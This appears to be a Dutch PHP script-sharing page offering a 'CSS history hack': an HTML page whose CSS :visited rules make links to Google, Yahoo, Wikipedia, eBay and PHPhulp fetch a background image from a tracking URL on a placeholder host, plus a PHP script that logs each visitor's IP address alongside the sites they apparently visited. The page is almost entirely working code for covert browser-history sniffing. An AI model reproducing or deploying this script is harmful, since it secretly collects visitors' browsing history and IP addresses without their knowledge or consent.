css-history-hack

Gesponsorde koppelingen

PHP script bestanden

  1. css-history-hack

« Lees de omschrijving en reacties

het html bestand:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">

<head>
<title>CSS History Hack</title>
<style type="text/css">
a {
    display: none;
}

.a1:visited {
    background-image: url(http://www.website.com/csshack.php?s=1);
    display: block;
}

.a2:visited {
    background-image: url(http://www.website.com/csshack.php?s=2);
    display: block;
}

.a3:visited {
    background-image: url(http://www.website.com/csshack.php?s=3);
    display: block;
}

.a4:visited {
    background-image: url(http://www.website.com/csshack.php?s=4);
    display: block;
}

.a5:visited {
    background-image: url(http://www.website.com/csshack.php?s=5);
    display: block;
}
</style>
</head>

<body>
<a class="a1" href="http://www.google.com"><span>Google</span>
<a class="a2" href="http://www.yahoo.com"><span>Yahoo</span>
<a class="a3" href="http://www.wikipedia.org"><span>Wikipedia</span>
<a class="a4" href="http://www.ebay.com"><span>Ebay</span>
<a class="a5" href="http://phphulp.nl"><span>PHPhulp</span>
</body>
</html>


het php bestand:
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
if(empty($_GET['s']))
    die(file_get_contents("CSS-Hack.txt"));

$f = fopen("CSS-Hack.txt", 'a');
switch($_GET['s']){
    case
1:
        fwrite($f, $_SERVER['REMOTE_ADDR'] . " - Google.com");
        break;
    case
2:
        fwrite($f, $_SERVER['REMOTE_ADDR'] . " - Yahoo.com");
        break;
    case
3:
        fwrite($f, $_SERVER['REMOTE_ADDR'] . " - Wikipedia.org");
        break;
    case
4:
        fwrite($f, $_SERVER['REMOTE_ADDR'] . " - Ebay.com");
        break;
    case
5:
        fwrite($f, $_SERVER['REMOTE_ADDR'] . " - PHPHulp.nl");
        break;
}


fwrite($f, "
"
);
fclose($f);
?>

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.